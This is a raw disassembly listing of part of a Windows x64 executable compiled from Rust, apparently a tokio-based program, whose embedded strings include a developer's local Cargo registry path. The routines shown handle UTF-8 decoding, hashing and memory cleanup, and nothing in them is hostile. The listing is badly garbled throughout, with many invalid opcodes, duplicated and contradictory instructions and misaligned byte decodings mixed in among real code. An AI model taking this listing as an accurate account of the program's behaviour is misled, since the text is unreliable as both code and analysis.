add byte [rax], al
add byte [rax], al
movzx esi, byte [r8]
mov dh, 0x30
movzx ebp, sil
movzx ebp, dh
test bpl, bpl
in eax, dx
js 0x140097500
inc r8
inc eax
cmp r11d, 0x110000
cmp ebx, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rcx], dl
add byte [rdi], cl
test ebx, eax
jne 0x1400975b0
add byte [rax], al
add cl, ch
invalid
jmp 0x140097320
mov rbx, r12
mov r13d, ebp
and r13d, 0x1f
movzx r12d, byte [r8 + 1]
and r12d, 0x3f
in al, 0x3f
in al, 0x3f
cmp bpl, 0xdf
cmp ch, 0xdf
jbe 0x140097567
movzx edi, byte [r8 + 2]
shl r12d, 6
and edi, 0x3f
or edi, r12d
cmp sil, 0xf0
jb 0x140097586
movzx ebp, byte [r8 + 3]
and r13d, 7
in eax, 7
add eax, dword [rcx - 0x7d]
in eax, 7
shl r13d, 0x12
shl ebp, 0x12
shl edi, 6
and ebp, 0x3f
or ebp, edi
or ebp, r13d
or ebp, ebp
or ebp, ebp
cmp ebp, 0x110000
std
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
adc dword [rax], eax
je case.0x140026edd.1833
test bh, al
std
invalid
invalid
add r8, 4
add eax, 4
mov r12, rbx
cmp r11d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rbp + 0x4e], dh
jne 0x1400975b0
jmp 0x140097320
invalid
add r8, 2
shl r13d, 6
or r13d, r12d
mov ebp, r13d
mov r12, rbx
cmp r11d, 0x110000
sti
add byte [rax], al
adc dword [rax], eax
sti
add byte [rax], al
adc dword [rax], eax
jne 0x1400975b0
jmp 0x140097320
invalid
add r8, 3
shl r13d, 0xc
rol byte [rbx], 0x41
shl ebp, 0xc
or edi, r13d
mov ebp, edi
mov r12, rbx
fadd qword [rcx - 0x7f]
sti
add byte [rax], al
adc dword [rax], eax
fadd qword [rcx - 0x7f]
sti
add byte [rax], al
adc dword [rax], eax
je 0x140097320
test byte [rbp - 3], bh
jge 0x14009759e
invalid
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
add byte [rax], al
cmp r11d, ebp
cmp ebx, ebp
jne 0x1400975cc
invalid
sub r9, r10
ror dword [rbp + 1], 1
add r9, r14
int1
mov r10, r14
cmp r14, rax
jne 0x140097420
invalid
jmp 0x140097320
invalid
cmp r9, rdx
cmp ecx, edx
lea rsi, [rsp + 0x58]
lea esi, [rsp + 0x58]
pop rax
jae 0x140097325
std
invalid
cmp r9, r15
jae 0x140097325
test r15, r15
je 0x14009762f
cmp byte [rsi + r15], 0xbf
mov edi, 0x89484c7e
jle 0x140097671
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
je 0x14009764d
xor cl, ch
or edi, ecx
jmp case.0x140026edd.1969
invalid
xor r15d, r15d
xor edi, edi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
jmp case.0x140026edd.1969
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rdi
cli
xor r8d, r8d
mov r9, r15
mov ecx, edi
mov ecx, edi
call fcn.1400aa440
out 0x2d, eax
add dword [rax], eax
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcindentation.rs
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcindentation.rs
mov esi, 0x4800053e
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.1400aa440
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcindentation.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
xor r8d, r8d
mov r9, r15
call fcn.1400aa440
add dword [rax], eax
add dword [rax], eax
ud2
or ecx, esp
int3
ror dword [rax - 0x7d], 0xb8
clc
add byte [rax], al
add byte [rax], al
invalid
mov eax, pe_nt_image_headers64
add byte [rax], al
add byte [rbp + 5], dh
jne 0x1400976ba
call fcn.140097850
xchg esi, eax
add dword [rax], eax
add byte [rbx + 0x61c0405], cl
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add al, 0x1c
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
movdqu xmm0, xmmword [rax + 0x100]
movq mm0, qword [rax + 0x100]
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 1], cl
inc qword [rax + 0x100]
add byte [rax], 1
add byte [rax], al
pshufd xmm1, xmm0, 0x44
pshufw mm1, mm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
pshufd xmm2, xmm0, 0xee
pxor xmm2, xmmword [0x1400b0630]
cmp cl, byte [rdi + 0xf660001]
jg 0x140097746
and al, 0x30
cmp cl, byte [rdi + 0xf660001]
jg 0x140097746
and al, 0x30
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + 1], bh
mov esi, 1
mov eax, 1
lock xadd dword [0x1400f9060], eax
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x30]
sub al, 0x48
lea ecx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
and al, 0x2c
mov r8d, 4
mov eax, 4
add byte [rax], al
call fcn.140016530
invalid
dec dword [rax - 0x75]
mov rax, qword [rsp + 0x40]
and al, 0x40
mov r9, qword [rsp + 0x60]
and al, 0x60
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rax, r8
xor rcx, rdx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
mov r8, rdx
rol r8, 0x20
xor r8, rax
xor r8, rcx
xor r8, rdx
mov rax, r8
shr rax, 0x20
cmp r8d, 2
cmovae esi, r8d
mov edx, esi
add rsp, 0x80
pop rsi
ret
mov esi, ecx
mov rdi, qword [rcx]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x140097938
lock dec qword [rax]
jne 0x140097938
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.1400983d0
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x140097954
lock dec qword [rax]
jne 0x140097954
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.1400983d0
lea rcx, [rdi + 0xc0]
call fcn.140097de0
mov rax, qword [rdi + 0x170]
add al, dh
dec qword [rax]
dec dword [rax]
add al, dh
dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x14009797c
cmovs eax, dword [rcx + 0x170c7]
add byte [rax - 0x77], cl
mov ecx, edi
add rdi, 0x170
invalid
add byte [rax], al
mov rcx, rdi
mov ecx, edi
call fcn.140097ec0
add eax, 0x8b4c0000
invalid
add byte [rbx + rcx*4 + 6], cl
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400979a2
lock dec qword [r8 + 8]
jne 0x1400979a2
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
adc eax, 0x2e666666
nop dword [rax + rax]
nop word cs:[rax + rax]
add rbx, 0x10
dec r14
je 0x140097a1c
mov rax, qword [rbx - 8]
clc
lock dec qword [rax]
je 0x140097a00
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400979e0
jmp 0x140097a12
lea rcx, [rbx - 8]
call fcn.140097b40
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400979e0
mov rcx, rbx
call fcn.140097b90
jmp 0x1400979e0
cmp qword [rdi + 0x68], 0
je 0x140097a36
invalid
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov r9, rax
shr r9, 0x20
mov dword [rsp + 0x20], r9d
mov rdx, qword [rbx]
cmp dword [rdx + 0x20], eax
je 0x140097cf5
movabs r8, 0xffffffff00000000
mov rcx, rax
nop word cs:[rax + rax]
lea r10d, [rax + 1]
mov dword [rsp + 0x24], r10d
cmp r9d, eax
jne 0x140097ca0
mov eax, r10d
mov r9, rax
shl r9, 0x20
or r9, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r9
jne 0x140097cc0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], al
retf 0x840f
cmp r10d, r9d
je 0x140097d50
sar dword [rcx], 0x42
and byte [rbp - 0x67], dh
cdq
cdq
jmp 0x140097cf5
adc ecx, dword [rdi]
mov dh, 0xc1
mov rcx, qword [rdx + 0x10]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x140097d90
lock dec qword [rdx]
jne 0x140097d03
mov rcx, rbx
call fcn.140097b40
mov rax, qword [rdi + 8]
test rax, rax
je 0x140097d1e
lock dec qword [rax]
jne 0x140097d1e
dec dword [rbx + rcx*4 + 6]
mov r8, qword [rsi]
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x60
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
add dword [rax], eax
call fcn.1400ae3b0
jae 0x140097da1
add dword [rax], eax
add byte [rax + rax*8 - 0x10e7af1], al
invalid
test al, al
jne 0x140097c36
invalid
mov rdx, qword [rbx]
lock dec qword [rdx]
je 0x140097cfb
jmp 0x140097d03
lea rcx, [rsp + 0x28]
call case.0x140098b83.351
lea rax, str.queue_not_empty
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x564a2
invalid
invalid
invalid
invalid
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
movabs byte [0x4024448948000564], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x40], rax
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x30]
call fcn.1400a9cb0
ud2
int3
int3
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rcx
mov rax, qword [rcx]
test rax, rax
je 0x140097e6c
lock dec qword [rax]
jne 0x140097e02
mov rcx, rsi
call fcn.14000fbb0
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x140097e3d
mov rbx, qword [rsi + 0x28]
xor r14d, r14d
imul bl
invalid
imul bl
adc al, 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
inc r14
cmp rdi, r14
je 0x140097e3d
mov rax, qword [rbx + r14*8]
lock dec qword [rax]
jne 0x140097e20
mov rcx, qword [rbx + r14*8]
call fcn.140098450
invalid
add byte [rax], al
call fcn.140098450
invalid
jmp 0x140097e20
cmp qword [rsi + 0x30], 0
cmp dword [rsi + 0x30], 0
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 0x28]
invalid
je 0x140097e57
mov r8, qword [rsi + 0x28]
sub byte [rax - 0x75], cl
mov rcx, qword [0x1400f91f8]
or eax, 0x613a9
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov cl, 0x85
add dword [rax], eax
invalid
sar bh, cl
adc eax, 0x185b1
mov cl, 0x85
add dword [rax], eax
invalid
mov cl, 0x85
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
or al, r14b
dec qword [rax]
jne 0x140097e7f
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
call fcn.140010050
jmp 0x140097e7f
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140097e7f
mov rcx, qword [rsi + 8]
call case.0x140028086.698
cmp dword [rsi + 0xa8], 0x3b9aca00
je 0x140097eaf
cmp qword [rsi + 0x68], 0
je 0x140097eaf
mov r8, qword [rsi + 0x60]
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
int3
push rdi
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rcx
mov rdi, qword [rcx]
mov r15, qword [rdi + 0x60]
test r15, r15
je 0x140097f27
mov rbx, qword [rdi + 0x48]
mov rax, qword [rdi + 0x50]
mov r12, qword [rdi + 0x58]
xor ecx, ecx
cmp r12, rax
mov rdx, rax
cmovb rdx, rcx
sub r12, rdx
mov r13, rax
sub r13, r12
lea rbp, [r12 + r15]
cmp r13, r15
cmovb rbp, rax
mov r14, r15
sub r14, r13
cmovb r14, rcx
sub rbp, r12
jne 0x14009808b
cmp r13, r15
jb 0x14009804d
cmp qword [rdi + 0x50], 0
je 0x140097f41
mov r8, qword [rdi + 0x48]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x98]
test rax, rax
je 0x140097f5f
lock dec qword [rax]
jne 0x140097f5f
mov rbx, qword [rdi + 0xa0]
test rbx, rbx
je 0x140097fa3
mov rcx, qword [rbx]
mov rax, 0xffffffffffffff80
lock xadd qword [rcx], rax
cmp rax, 0x7f
jbe 0x1400980dc
shl r12, 4
add r12, rbx
jmp 0x1400980ad
mov rcx, qword [r12]
mov rax, 0xffffffffffffff80
lock xadd qword [rcx], rax
cmp rax, 0x7f
jbe 0x1400980dc
cmp qword [rbx + 0x10], 0x11
jb 0x14009824e
invalid
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x14009828b
lock dec qword [r8 + 8]
jne 0x14009828b
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
movdqa xmm0, xmmword ss:[r14]
pmovmskb r13d, xmm0
not r13d
lea r15, [r14 + 0x10]
mov r12, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400982ff
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
dec rbx
je 0x140098375
test r13w, r13w
jne 0x140098331
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
add r14, 0xfffffffffffffe00
add r15, 0x10
cmp r13d, 0xffff
je 0x140098310
not r13d
tzcnt eax, r13d
shl rax, 5
mov rdi, r14
sub rdi, rax
mov rcx, qword [rdi - 8]
call r12
mov rax, qword [rdi - 0x18]
lock dec qword [rax]
jne 0x14009835a
mov rcx, qword [rdi - 0x18]
call fcn.14007a600
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x1400982f0
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.1400981a0
jmp 0x1400982f0
mov rax, qword [rsi + 8]
mov rcx, rax
shl rcx, 5
add rax, rcx
cmp rax, 0xffffffffffffffcf
je 0x1400983b2
mov r8, qword [rsi]
sub r8, rcx
add r8, 0xffffffffffffffe0
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
int3
xlatb
mov rsi, rcx
mov rbx, qword [rdx + 0x10]
adc byte [rax - 0x73], cl
dec dword [r8 - 0x7d]
loopne 0x1400983d9
adc byte [rax - 0x73], cl
dec dword [r8 - 0x7d]
loopne 0x1400983d9
add rcx, rax
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
call qword [rdx]
cmp rsi, 0xffffffffffffffff
je 0x140098446
lock dec qword [rsi + 8]
jne 0x140098446
or byte [rbp + 0x47], dh
mov rcx, qword [rdi + 8]
cmp rbx, 9
mov eax, 8
add byte [rax], al
add byte [rax + 0xf], cl
ret
add rcx, rax
add byte [rax], al
add byte [rax + 0xf], cl
ret
ret
add rcx, 0xf
mov rdx, rax
neg rdx
neg edx
neg edx
test rcx, rdx
je 0x140098446
invalid
and al, 0x48
cmp eax, 0x11
cmp rax, 0x11
jb 0x14009842c
mov rsi, qword [rsi - 8]
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
mov eax, esi
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, esi
mov eax, esi
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
ret 0x17f
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
sub rsp, 0x20
mov rsi, rcx
mov esi, ecx
add rcx, 0x80
mov edx, 0x2f
invalid
add byte [rax], al
invalid
rol dword [rax - 0x46000000], 0x2f
add byte [rax], al
add al, ch
call fcn.1400984d0
mov rax, qword [rsi + 0xb0]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
add byte [rax], 0
add byte [rdx + 0x2f], bh
invalid
add byte [rax], al
invalid
invalid
call fcn.1400984d0
mov rax, qword [rsi + 0xb0]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
je 0x14009847f
mov rcx, qword [rsi + 0xb8]
call qword [rax + 0x18]
invalid
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140098495
mov rcx, qword [rsi + 0xc8]
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x7d], cl
invalid
add byte [rax], al
call qword [rax + 0x18]
cmp rsi, 0xffffffffffffffff
je 0x1400984bb
lock dec qword [rsi + 8]
dec dword [rsi + 8]
jne 0x1400984bb
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
add dword [rax], eax
nop
add rsp, 0x20
pop rsi
ret
and byte [rsi - 0x3d], bl
int3
int3
add byte [rax], al
add byte [rcx - 0xf3fceff], dh
add dword [rcx], esi
invalid
invalid
add byte [rax], al
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x18], cl
cmpxchg byte [rsi + 0x18], cl
add dword [rcx], esi
sal al, 0xf
invalid
mov al, 0x4e
cmpxchg byte [rsi + 0x18], cl
sbb byte [rdi], cl
test dword [rdx + rax - 0x9c00000], ebp
mov dword [0xcb51c28c], 0x8b483046
xor byte [rax - 0x75], cl
jne 0x1400987b8
add byte [rax], al
test dil, 5
je 0x14009854f
add eax, 0x8b483d74
xor byte [rax - 0x75], r9b
xor byte [rax - 0x75], cl
mov rax, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
push rsi
cmp byte [rax - 0x39], cl
mov dword [rsi + 0x30], 0
xor byte [rax - 0x75], cl
push rsi
cmp byte [rax - 0x39], cl
invalid
xor byte [rax], r8b
add byte [rax], al
invalid
mov dword [rsi + 0x30], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
test rax, rax
je 0x14009854f
sal byte [rax + rbp + 0x48], 0x8b
mov word [rax + rbp], fs
and al, 0x28
mov rcx, qword [rsp + 0x228]
and al, 0x28
sub byte [rdx], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
stc
and byte [rdi], cl
jae 0x140098808
cmp rcx, 0x20
cmp ecx, 0x20
jae 0x140098808
add al, byte [rax]
add byte [rax - 0x3f], cl
loope 0x140098541
shl rcx, 4
mov qword [rsp + rcx + 0x28], rax
mov qword [rsp + rcx + 0x30], rdx
sub byte [rax - 0x77], cl
push rsp
or al, 0x30
inc qword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0xa], al
invalid
mov edx, dword [rsi + 0x48]
add byte [rax], al
add byte [rax], al
test eax, eax
and al, 0x28
add al, byte [rax]
add byte [rax - 0x7d], cl
cmp ecx, 0x20
jae 0x140098808
invalid
invalid
invalid
add byte [rax], al
cmp ecx, 0x20
add al, byte [rax]
add byte [rax - 0x3f], cl
shl rcx, 4
add al, 0x48
mov dword [rsp + rcx + 0x28], eax
or al, 0x28
or al, 0x28
sub byte [rax - 0x77], cl
push rsp
or al, 0x30
inc dword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
pop rsi
sub byte [rbp + rcx*4 + 0x74], cl
lea esi, [rsp + 0x20]
lea esi, [rsp + 0x20]
and byte [rdi], cl
push rdi
div byte [rcx]
in eax, dx
mov esp, 0x22824
and al, 0x28
add al, byte [rax]
invalid
add byte [rax], al
invalid
add byte [rdi], bl
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsi + 0x20]
invalid
and bl, ch
sbb cl, byte [rdi]
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
mov word [rax + rbp], fs
sub byte [rdx], al
invalid
add byte [rax], al
mov ecx, dword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
stc
and byte [rdi], cl
sub esi, 0
add byte [rax], al
test eax, eax
test byte [rbx + 1], ch
imul eax, dword [rcx], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
ror dword [rax - 0x75], 0x40
or byte [rax - 0x75], cl
invalid
invalid
mov eax, dword [rax + 8]
push rcx
and byte [rcx - 0x77], al
rol byte [rcx - 0x7d], 1
loopne 0x1400985ee
neg eax
fadd dword [rcx - 0x7d]
and eax, 5
loopne case.0x14007eb24.502
or al, byte [rcx - 0x77]
mov edx, edx
rol byte [rcx - 0x7d], cl
loop case.0x140082303.469
invalid
and edx, 0x20
enter 0x945, 0xffffffffffffffd1
test ecx, edi
invalid
adc dword [rax - 0x7b], ecx
sal byte [rdx + rbx + 0x48], cl
mov dword [rdx + 8], eax
or byte [rax - 0x7b], cl
test edx, edx
sal byte [rbp + 0x2f], cl
invalid
test dword [rcx + rax], ecx
add byte [rax], al
mov edx, ebx
fimul dword [rax + 0x39]
or ecx, dword [rdi]
cmp dword [rbx], ecx
test esp, esi
add byte [rax], al
add byte [rax], al
mov r8, qword [rcx]
add byte [rax], al
mov eax, dword [rcx]
mov dword [rdx], eax
adc dword [rcx], esi
adc byte [rbx + rcx*4 + 0x41], cl
sbb byte [rax - 0x39], cl
invalid
invalid
adc byte [r8], al
invalid
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], cl
add byte [rax], al
test edx, edx
test byte [rdi + rdi*8 - 1], cl
inc esi
invalid
sub byte [r9], al
mov word [rax + rbp], fs
and al, 0x28
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
cmp ecx, 0x20
stc
and byte [rdi], cl
cmp dword [rsi + 1], 0
jle case.0x140082303.589
invalid
add dword [rax], eax
add byte [rax - 0x3f], cl
loope case.0x140084570.497
add al, 0x48
mov dword [rsp + rcx + 0x28], edx
invalid
push rsp
or al, 0x28
invalid
sub byte [rcx + rcx*4 + 0x44], cl
or al, 0x30
mov ecx, dword [rsp + 0x228]
mov word [rax + rbp], fs
add al, byte [rax]
add byte [rax - 0x7d], cl
stc
and byte [rdi], cl
invalid
sbb eax, 0x66ffffff
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf40f001], dh
add eax, esi
cmpxchg byte [rsi + 0x18], bpl
cmpxchg byte [rsi + 0x18], ch
cmpxchg byte [rsi + 0x18], ch
mov al, 0x6e
sbb byte [rbp + 0x60], dh
mov esp, dword [rsp + 0x228]
cmp esp, 0x20
add byte [rax], al
in al, 4
add al, 0x4d
add esp, esi
hlt
lodsb al, byte [rsi]
and al, 0x28
add al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0xf8
add byte [rax], al
and al, 0xf8
mov ecx, dword [rsp]
or byte [rcx - 0x7d], cl
invalid
invalid
add ebp, 0xffffffff
invalid
sal al, 0x44
cmpxchg byte [rsi + 0x18], bh
sbb byte [rdi], cl
test byte [rdi + 0x48fffffe], al
lea ecx, [rsi + 0x18]
invalid
xchg esi, edi
invalid
dec dword [rax - 0x73]
sbb al, r13b
sbb al, ch
retf
add dword [rax], eax
add cl, ch
jns case.0x140088a7a.438
invalid
invalid
sbb al, ch
xor byte [r9], r8b
invalid
xor byte [rcx], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
mov esp, dword [rsp + 0x228]
and al, 0x28
add al, byte [rax]
add byte [rax], al
invalid
invalid
cld
sub byte [rdx], al
add byte [rax], al
cmp esp, 0x20
and byte [rsi - 0x65], dh
add byte [rax], al
add byte [rcx], dh
leave
sbb byte [rbp + 0x7f], dh
sub byte [rdx], al
add byte [rax], al
cmp eax, 0x20
mov eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
sal byte [rsp + rsi + 0x48], 0x8d
jo case.0x140084570.355
invalid
dec dword [rax - 0x3f]
loopne 0x140098774
and al, 0x28
and al, 0x28
sub byte [rax - 0x73], cl
cmp al, 8
invalid
lea edi, [rax + rcx]
or byte [rax - 0x7d], cl
xbegin 0x18809a690
mov dword [rsp + 0x228], esi
mov ah, 0x24
sub byte [rdx], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov eax, dword [rdi - 8]
clc
ud0
invalid
invalid
invalid
push qword [rdx - 0x1c]
in al, 0xf
sub byte [rsp + 0x230], dh
mov ah, 0x24
xor byte [rdx], al
add al, byte [rax]
invalid
mov ah, 0x24
xor byte [rdx], al
invalid
and al, 0x30
add al, byte [rax]
add byte [rax - 0x7f], cl
invalid
invalid
add byte [rax], al
invalid
add al, byte [rax]
add byte [rbx + 0x5d], bl
lea rcx, [rsi + 0x18]
call fcn.1400abaf0
invalid
xor eax, dword [rcx]
add byte [rax - 0xa], al
invalid
invalid
sbb al, r13b
invalid
xor eax, dword [rcx]
add byte [rax - 0xa], al
test bh, 5
mov dword [0x13d510cdc], 0x7fe9ffff
std
add eax, 0xfd47850f
jne 0x140098512
test dword [rdi - 3], eax
std
invalid
jg case.0x140098b83.320
invalid
dec dword [rax - 0x7d]
add esi, 0x18
invalid
mov ecx, esi
movsb byte [rdi], byte [rsi]
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
and al, 0x28
sub byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x7d], cl
invalid
invalid
clc
and byte [rdi], cl
xchg byte [rbp - 1], dh
jne 0x1400987eb
invalid
invalid
dec dword [rax - 0x73]
or eax, 0x533c3
add eax, 0x58d4c00
in al, dx
xor eax, dword [0x1403341ff]
add eax, 0x29ba00
add byte [rdx + 0x29], bh
add byte [rax], al
invalid
lea eax, [0x1400ebbe8]
push 0x16
add dword [rax], eax
invalid
invalid
lea eax, [0x1400ebba0]
xor eax, dword [0x1402a4212]
add byte [rdx + 0x20], bh
add byte [rax], al
add byte [rax], al
add al, ch
push rdi
adc eax, 0xb0f0001
int3
add dword [rax], eax
sub esp, 0x28
in al, dx
mov edx, dword [rcx]
test edx, edx
sub ecx, dword [rax - 0x39]
rol al, 0xff
invalid
invalid
rol dword [rdx], 0x48
cmp eax, 0x3f
clc
invalid
invalid
loopne case.0x140084570.350
cmp eax, 0x40
jne 0x140098857
mov ecx, dword [rcx]
mov eax, dword [rcx + 0x10]
